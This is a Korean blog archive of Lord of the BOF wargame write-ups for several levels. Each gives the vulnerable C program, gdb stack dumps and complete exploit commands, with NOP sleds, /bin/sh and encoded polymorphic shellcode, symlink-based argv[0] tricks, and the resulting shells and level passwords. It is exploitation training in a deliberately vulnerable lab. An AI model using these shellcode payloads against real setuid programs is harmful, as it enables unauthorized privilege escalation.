'과거의 컴퓨터 공부/LOB(完)'에 해당하는 글 21건

반응형

문제 풀때 이전문제 헤매면서 우연하게 공유라이브러리 하이재킹을 봣엇어서 

이 방법으로 풀어야겟다라고 감은 왓엇는데, 막상 해보니까 라이브러리를 엄청나게 날려먹은 ..

그래서 이미지파일을 8번정도 다시 깔은 .. 

이 김에 기법 또한 정리해야겟다 싶어서 문서로 만들어 보았습니다 

따라서 이번 레벨 라이트업은 문서로 대체합니다 


Understanding & Using Shared Library Hijacking.pdf


아직 완벽하게 정리한 정도는 아니여서 추가적으로 수정할 부분 있으면 댓글좀 남겨주시면 감사드리겟습니다 

cf ) 환경변수나 컴파일할때는 perl 보다는 python 쓰는게 좋은거 같아요 perl은 안먹히는 명령이 몇개있네요 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level13.darkknight  (0) 2014.08.19
(LOB)level12.golem  (0) 2014.08.19
(LOB)Level10.vampire  (0) 2014.08.14
(LOB)Level9.troll  (0) 2014.08.14
(LOB)Level8.orge  (0) 2014.08.14
,
반응형

아오 어제 계속 안풀려서 멘붕왔는데 드디어 풀렸네요 


fucking skelton.txt

문제 풀때 제가했던 뻘짓거리들 입니다 

소스를 보면 

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


// argc saver

saved_argc = argc;


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// ultra argv hunter!

for(i=0; i<saved_argc; i++)

memset(argv[i], 0, strlen(argv[i]));

}

추가된 부분에 의해서 기존의 사용했던 RTL 방법이라던가  주입식 쉘코드는 사용할수 없게 됩니다

(소스보고 알면서도 자꾸 위의 방법을 써보게되네요  ) 

굵은 부분이 추가 되었습니다 더불어 저의 멘붕도 추가되었죠

한참헤매다가 나락에서 빛을 보았습니다 

계속 디버깅 해보다가 왠지는 모르겟는데 자꾸 맨끝부분에 경로가 남더군요 그래서 이걸 이용해야겠다 싶어서

심볼릭링크를 걸고  retn 주소에 심볼릭링크의 경로부분을 넣어주었습니다 

즉, 심볼릭 링크에 다형성 쉘코드를 넣어주었고, 

페이로드는 간단합니다 

|다형성 쉘코드  argv[0] |   buffer[40] | SFP[4] | &다형성 쉘코드 주소 | 

따라서 ,


[vampire@localhost /tmp]$ ln -s skeleton `perl -e 'print "\x90"x40,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

[vampire@localhost /tmp]$ gdb -q `perl -e 'print "\x90"x40,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

(gdb) b *main+368

Breakpoint 1 at 0x8048670

(gdb) r $(perl -e 'print "\xbf"x48')

Starting program: /tmp/????????????????????????????????????????h?須?h

                                                                     켚Thjo??i0chi0tijY


                                                                                          ?y?投T?$(perl -e 'print "\xbf"x48')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜


Breakpoint 1, 0x8048670 in main ()

(gdb) x/1000x $esp

0xbffffa28: 0x00000002 0x00000002 0x00000000 0x00000000

0xbffffa38: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffa48: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffa58: 0xbfbfbfbf 0xbfbfbfbf 0x00000000 0xbffffaa4

0xbffffa68: 0xbffffab0 0x40013868 0x00000002 0x08048450

0xbffffa78: 0x00000000 0x08048471 0x08048500 0x00000002

0xbffffa88: 0xbffffaa4 0x08048390 0x080486ac 0x4000ae60

0xbffffa98: 0xbffffa9c 0x40013e90 0x00000002 0xbffffb9a

0xbffffaa8: 0xbffffbef 0x00000000 0xbffffc20 0xbffffc29

0xbffffab8: 0xbffffc41 0xbffffc60 0xbffffc82 0xbffffc8f

0xbffffac8: 0xbffffe52 0xbffffe71 0xbffffe8e 0xbffffea3

0xbffffad8: 0xbffffec2 0xbffffecd 0xbffffee6 0xbffffef6

0xbffffae8: 0xbffffefe 0xbfffff0f 0xbfffff19 0xbfffff27

0xbffffaf8: 0xbfffff38 0xbfffff46 0xbfffff51 0xbfffff64

0xbffffb08: 0x00000000 0x00000003 0x08048034 0x00000004

0xbffffb18: 0x00000020 0x00000005 0x00000006 0x00000006

0xbffffb28: 0x00001000 0x00000007 0x40000000 0x00000008

0xbffffb38: 0x00000000 0x00000009 0x08048450 0x0000000b

0xbffffb48: 0x000001fd 0x0000000c 0x000001fd 0x0000000d

0xbffffb58: 0x000001fd 0x0000000e 0x000001fd 0x00000010

0xbffffb68: 0x0fabfbff 0x0000000f 0xbffffb95 0x00000000

0xbffffb78: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffb88: 0x00000000 0x00000000 0x00000000 0x38366900

0xbffffb98: 0x00000036 0x00000000 0x00000000 0x00000000

0xbffffba8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbb8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbc8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbd8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbe8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc18: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc28: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc38: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc48: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc58: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc68: 0x00000000 0x00000000 0x00000000 0x00000000

---Type <return> to continue, or q <return> to quit---

0xbffffc78: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc88: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc98: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffca8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcb8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcc8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcd8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffce8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd08: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd18: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd28: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd38: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd48: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd58: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd68: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd78: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd88: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd98: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffda8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffdb8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffdc8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffdd8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffde8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffdf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe08: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe18: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe28: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe38: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe48: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe58: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe68: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe78: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe88: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffe98: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffea8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffeb8: 0x00000000 0x00000000 0x00000000 0x00000000

---Type <return> to continue, or q <return> to quit---

0xbffffec8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffed8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffee8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffef8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff08: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff18: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff28: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff38: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff48: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff58: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff68: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff78: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff88: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff98: 0x00000000 0x00000000 0x00000000 0x2f000000

0xbfffffa8: 0x2f706d74 0x90909090 0x90909090 0x90909090

0xbfffffb8: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfffffc8: 0x90909090 0x90909090 0x90909090 0xcee28a68

0xbfffffd8: 0x0cb16881 0x6a685453 0x68e48a6f 0x63306901

0xbfffffe8: 0x74306968 0x59146a69 0x490c0cfe 0xf741fa79

0xbffffff8: 0x00c354e1 0x00000000 Cannot access memory at address 0xc0000000

(gdb) 

끝부분을 보면  조금 뭉개지는 부분이 있습니다만 NOP를 넣어서 해결해주었고 , NOP 임의의 부분을 넣어주게 되면


[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x40,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\x90"x44,"\xb8\xff\xff\xbf"'` 

?????????????????????????????????????????????

bash$ my-pass 

euid = 510

shellcoder

bash$ 

쉘이 따였습니다 .. 



반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level12.golem  (0) 2014.08.19
(LOB)Level11.skeleton  (0) 2014.08.16
(LOB)Level9.troll  (0) 2014.08.14
(LOB)Level8.orge  (0) 2014.08.14
(LOB)level7.darkelf  (0) 2014.08.11
,
반응형

이번 문제는 레벨 8에 비해 굉장히 쉽게풀렷네요 8이 고비였나봅니다

소스를 보면

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

굵은 부분으로 표시한 부분이 추가 되었습니다 따라서 주소가 

bf(이부분은 위에 추가된 부분)ff(새롭게 추가된부분)----

이렇게된다면 ff 에서 걸리기 때문에 커맨드가 씹히게 됩니다 

처음 시도하려 했던 방법은 RTL 이였는데 

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>

주소가 이렇게 되기 떄문에 bf-------- 부분에서 걸리기때문에 사용할수 없었고,


심볼릭 링크 ,버퍼에도 못넣음,환경 변수 같은경우는 --ff---- 부분에서 걸리기때문에 사용할수 없었습니다

마지막으로 생각해본 방법인 argv[2]를 이빠이 넣어서 시작 주소를 줄이는 방법이였는데,

이방법이 먹혔습니다

우선 /tmp 부분으로 복사를 한후 디버깅하여 실행해보았는데

[troll@localhost /tmp]$ gcc -o vampire vampire.c 

ls s^H[troll@localhost /tmp]$ gdb -q vampire

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r $(perl -e 'print "\x90"x44,"\xbf\xbf\xbf\xbf"') $(perl -e 'print "\x90"x80000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

Starting program: /tmp/vampire $(perl -e 'print "\x90"x44,"\xbf\xbf\xbf\xbf"') $(perl -e 'print "\x90"x80000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')


Breakpoint 1, 0x8048436 in main ()

(gdb) x/80000x $esp

0xbffec230: 0xbffec258 0x4000a970 0x400f855b 0x08049584

0xbffec240: 0x4000ae60 0xbffec2a4 0xbffec258 0x0804841b

0xbffec250: 0x08049570 0x08049584 0xbffec278 0x400309cb

0xbffec260: 0x00000003 0xbffec2a4 0xbffec2b4 0x40013868

0xbffec270: 0x00000003 0x08048380 0x00000000 0x080483a1

0xbffec280: 0x08048430 0x00000003 0xbffec2a4 0x080482e0

0xbffec290: 0x080484fc 0x4000ae60 0xbffec29c 0x40013e90

0xbffec2a0: 0x00000003 0xbffec39d 0xbffec3aa 0xbffec3db

0xbffec2b0: 0x00000000 0xbffffc74 0xbffffc7d 0xbffffc95

0xbffec2c0: 0xbffffcb4 0xbffffcd6 0xbffffce1 0xbffffea4

0xbffec2d0: 0xbffffec3 0xbffffede 0xbffffef3 0xbfffff10

0xbffec2e0: 0xbfffff1b 0xbfffff34 0xbfffff42 0xbfffff4a

0xbffec2f0: 0xbfffff5b 0xbfffff65 0xbfffff73 0xbfffff84

0xbffec300: 0xbfffff92 0xbfffff9d 0xbfffffae 0x00000000

0xbffec310: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffec320: 0x00000005 0x00000006 0x00000006 0x00001000

0xbffec330: 0x00000007 0x40000000 0x00000008 0x00000000

0xbffec340: 0x00000009 0x08048380 0x0000000b 0x000001fc

0xbffec350: 0x0000000c 0x000001fc 0x0000000d 0x000001fc

0xbffec360: 0x0000000e 0x000001fc 0x00000010 0x0fabfbff

0xbffec370: 0x0000000f 0xbffec398 0x00000000 0x00000000

0xbffec380: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffec390: 0x00000000 0x00000000 0x36383669 0x6d742f00

0xbffec3a0: 0x61762f70 0x7269706d 0x90900065 0x90909090

0xbffec3b0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec3c0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec3d0: 0x90909090 0xbfbf9090 0x9000bfbf 0x90909090

0xbffec3e0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec3f0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec400: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec410: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec420: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec430: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec440: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec450: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec460: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffec470: 0x90909090 0x90909090 0x90909090 0x90909090

...(썰매를 엄청나게 넣어서 뒷부분은 생략하였습니다) 


굵은 부분으로 표시한 부분전후로 argv[1] argv[2] 가됩니다 따라서 뒷부분의 임의의 주소를 넣어주게된다면


[troll@localhost troll]$ ./vampire $(perl -e 'print "\xbf"x44,"\xe0\xc3\xfe\xbf"') $(perl -e 'print "\x90"x80000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') 

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜煽

bash$ my-pass

euid = 509

music world

bash$

이렇게 쉘이 따집니다 


c.f <오류가 낫엇던  페이로드>

 왠지는 모르겟는데 argv[1] 앞부분에 썰매를 44 때려넣엇는데 안되서 /xbf로 바꿔넣엇더니 됫습니다


[troll@localhost troll]$ ./vampire $(perl -e 'print "\x90"x44","\xe0\xc3\xfe\xbf"') $(perl -e 'print "\x90"x80000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') 

String found where operator expected at -e line 1, near "44",""

(Missing operator before ","?)

syntax error at -e line 1, near "44",""

Backslash found where operator expected at -e line 1, near "","\"

(Missing operator before \?)

Backslash found where operator expected at -e line 1, near "xe0\"

Backslash found where operator expected at -e line 1, near "xc3\"

Backslash found where operator expected at -e line 1, near "xfe\"

String found where operator expected at -e line 1, at end of line

(Missing semicolon on previous line?)

Can't find string terminator '"' anywhere before EOF at -e line 1.

stack is still your friend.


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level11.skeleton  (0) 2014.08.16
(LOB)Level10.vampire  (0) 2014.08.14
(LOB)Level8.orge  (0) 2014.08.14
(LOB)level7.darkelf  (0) 2014.08.11
(LOB)Level6.wolfman  (0) 2014.08.11
,
반응형

2일정도 계속 고민했는데 안풀려서 좀찾아본 결과 다형성 쉘코드나 mkdir -p 옵션을 사용해서 부모 프로세스에 심볼릭 링크를 걸어서 푸는 문제더군요 ㅡㅡ ; 그러니까 안풀리지 휴 .. 여튼 풀엇습니다 눈물이나려하네요

소스를 보면

[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

}

argv[1]을 0으로 memset해버리고 argc 또한 2로 지정해줘버렸기때문에 기존의 방법으로는 모두 막히게 됩니다

처음에 소스보고 멘붕해서 어떻게할까 계속 고민햇엇는데 결국 심볼릭링크를 사용하는 문제였습니다(위에서 말햇듯이 조금 다른방법으로 mkdir -p 옵션을 사용하셔서 푸셔도 됩니다)

저는 다형성 쉘코드라는 것을 사용햇습니다. 파일은 아래에 첨부했고, 기존 쉘코드와는 달리 48byte의 쉘코드입니다


다형성 쉘코드.txt


다형성 쉘코드란, 쉘코드를 암호화 시키고 실행전 복호화 시켜서 기존의 쉘코드의 모양을 다르게 만들어서 숨기는 것입니다 . 따라서 기존의 쉘코드에 비해 길이가 길어지게 되죠.

심볼릭 링크를 걸떄 기존의 제가 사용햇던 쉘코드를 사용하면, \x2f(/)가 들어가면 원래 존재하는 디렉토리가 아닌 이상은 링크를 시켜주지 않습니다.(제가 이걸 몰라서 이부분에서 엄청나게 헤맷습니다 하 .. ) 

일단은 다형성쉘코드를 포함해서 심볼릭링크를 걸어주고(/tmp에서 분석해야되니 tmp도 마찬가지로 걸어주셔야합니다)

[orge@localhost orge]$ ln -s troll Z`perl -e 'print "\x90"x40,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

RETN 주소에는 심볼릭링크에 쉘코드를 넣어줫기 떄문에 argv[0]부분을 넣어주게 된다면, 성공을하게됩니다 

argv[0]주소는 직접 찾기 귀찮아서 기존의 소스에 코드를 추가하여 알아내었고(주소가 계속해서 바뀌어요)

[orge@localhost /tmp]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

printf("0x%x\n",argv[0]); // 추가한 부분

}

페이로드는 

 | 심볼릭링크 (argv[0] )  | NOP[44] (argv[1]) | &argv[0]( argv[1])| 

집어넣게되면


[orge@localhost orge]$ ./Z?????????????????????????????????????????Q^12€l^N^A€?Au楕^E凹2핽i00tii0cjo??T???L? `perl -e 'print "\x90"x44,"\x2e\xfb\xff\xbf"'`

????????????????????????????????????????????.?

bash$ my-pass

euid = 508

aspirin

bash$ 


풀리게됩니다 

만세 ! 

+)다형성 쉘코드를 혼자힘으로 한번 짜볼 계획 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level10.vampire  (0) 2014.08.14
(LOB)Level9.troll  (0) 2014.08.14
(LOB)level7.darkelf  (0) 2014.08.11
(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
,
반응형

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

굵은 부분으로 표시해논 것처럼 친절하게 이부분이 바꼇다고 알려줍니다

파일을 실행할때 파일이름을 넣어주는 부분인데, 77자가 딱 맞지 않으면 페이로드는 씹히게 됩니다 

이를 우회하기 위해서 심볼릭 링크를 걸어주었고, 나머지 부분은 이전과 같습니다

심볼릭 링크를 건방법은 다음과 같습니다

[darkelf@localhost darkelf]$ ln -s `perl -e 'print "B"x75'` 

[darkelf@localhost darkelf]$ ls -al

total 52

drwx------    2 darkelf  darkelf      4096 Aug 12 10:46 .

drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..

-rw-------    1 darkelf  darkelf        18 Aug 11 02:41 .bash_history

-rw-r--r--    1 darkelf  darkelf        24 Feb 26  2010 .bash_logout

-rw-r--r--    1 darkelf  darkelf       230 Feb 26  2010 .bash_profile

-rw-r--r--    1 darkelf  darkelf       124 Feb 26  2010 .bashrc

-rwxr-xr-x    1 darkelf  darkelf       333 Feb 26  2010 .emacs

-rw-r--r--    1 darkelf  darkelf      3394 Feb 26  2010 .screenrc

lrwxrwxrwx    1 darkelf  darkelf         4 Aug 12 09:50 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB -> orge

길이제한이 77 자로 되어있는데 75자로 심볼릭 링크를 건이유는 해당 파일을 실행하기 위해서는 

'./ ' 두문자를 포함해야 하기 때문입니다 

따라서 페이로드를 구성해보면 

./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB-> argv[0]

NOP(44) | RETN    -> argv[1]

NOP(200) | 쉘코드  -> argv [2] 

RETN 주소를 찾는방법은 이전과 같으니 생략하고 

[darkelf@localhost darkelf]$ ./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `perl -e 'print "\x90"x44,"\xbc\xfa\xff\xbf"'` `perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????술


bash$ my-pass

euid = 507


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level9.troll  (0) 2014.08.14
(LOB)Level8.orge  (0) 2014.08.14
(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
,
반응형

소스를 보면 

[wolfman@localhost wolfman]$ cat darkelf.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf 

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

레벨이 올라갈때마다 소스에 뭔가가 추가 되는데 이번에는 두번째 인자가 48 보다 클경우에는 뒤의 내용이 씹히게 됩니다. 

따라서 세번째 인자까지 사용하여 문제를 풀면됩니다. 

흐름을 보면 

|buffer [ 40 ] | SFP | RETN |

이렇게 되는데 페이로드를 구성해보면 

| NOP 44 | RETN  |  NOP 200 | 쉘코드 |

여기서 중요한건

NOP 44 부터 RETN 까지는 두번째 인자로 , NOP 200 ~ 쉘코드는 세번쨰 인자로 쪼개 넣어주는 겁니다

(perl을 두번사용하고 중간에 띄어쓰기) 

그리고 페이로드에 넣어야할 RETN에 들어갈 주소를 이번엔 디버깅하여 손수 찾아 넣어 주었습니다

 [wolfman@localhost /tmp]$ gdb -q darkelf 

(gdb) b main

Breakpoint 1 at 0x8048506

(gdb) r $(perl -e 'print "\x90"x44,"AAA\xbf"') $(perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

Starting program: /tmp/darkelf $(perl -e 'print "\x90"x44,"AAA\xbf"') $(perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

(gdb) x/500x  $esp

0xbffff8dc: 0x40021ca0 0xbffff908 0x4000a970 0x400f855b

0xbffff8ec: 0x080496ec 0x4000ae60 0xbffff954 0xbffff908

0xbffff8fc: 0x080484eb 0x080496d8 0x080496ec 0xbffff928

0xbffff90c: 0x400309cb 0x00000003 0xbffff954 0xbffff964

0xbffff91c: 0x40013868 0x00000003 0x08048450 0x00000000

0xbffff92c: 0x08048471 0x08048500 0x00000003 0xbffff954

0xbffff93c: 0x08048390 0x0804865c 0x4000ae60 0xbffff94c

0xbffff94c: 0x40013e90 0x00000003 0xbffffa5f 0xbffffa6c

0xbffff95c: 0xbffffa9d 0x00000000 0xbffffb7e 0xbffffb87

0xbffff96c: 0xbffffb9f 0xbffffbbe 0xbffffbe0 0xbffffcca

0xbffff97c: 0xbffffcd7 0xbffffe9a 0xbffffeb9 0xbffffed6

0xbffff98c: 0xbffffeeb 0xbfffff0a 0xbfffff15 0xbfffff2e

0xbffff99c: 0xbfffff3e 0xbfffff46 0xbfffff57 0xbfffff61

0xbffff9ac: 0xbfffff6f 0xbfffff80 0xbfffff8e 0xbfffff99

0xbffff9bc: 0xbfffffac 0x00000000 0x00000003 0x08048034

0xbffff9cc: 0x00000004 0x00000020 0x00000005 0x00000006

0xbffff9dc: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffff9ec: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffff9fc: 0x0000000b 0x000001f9 0x0000000c 0x000001f9

0xbffffa0c: 0x0000000d 0x000001f9 0x0000000e 0x000001f9

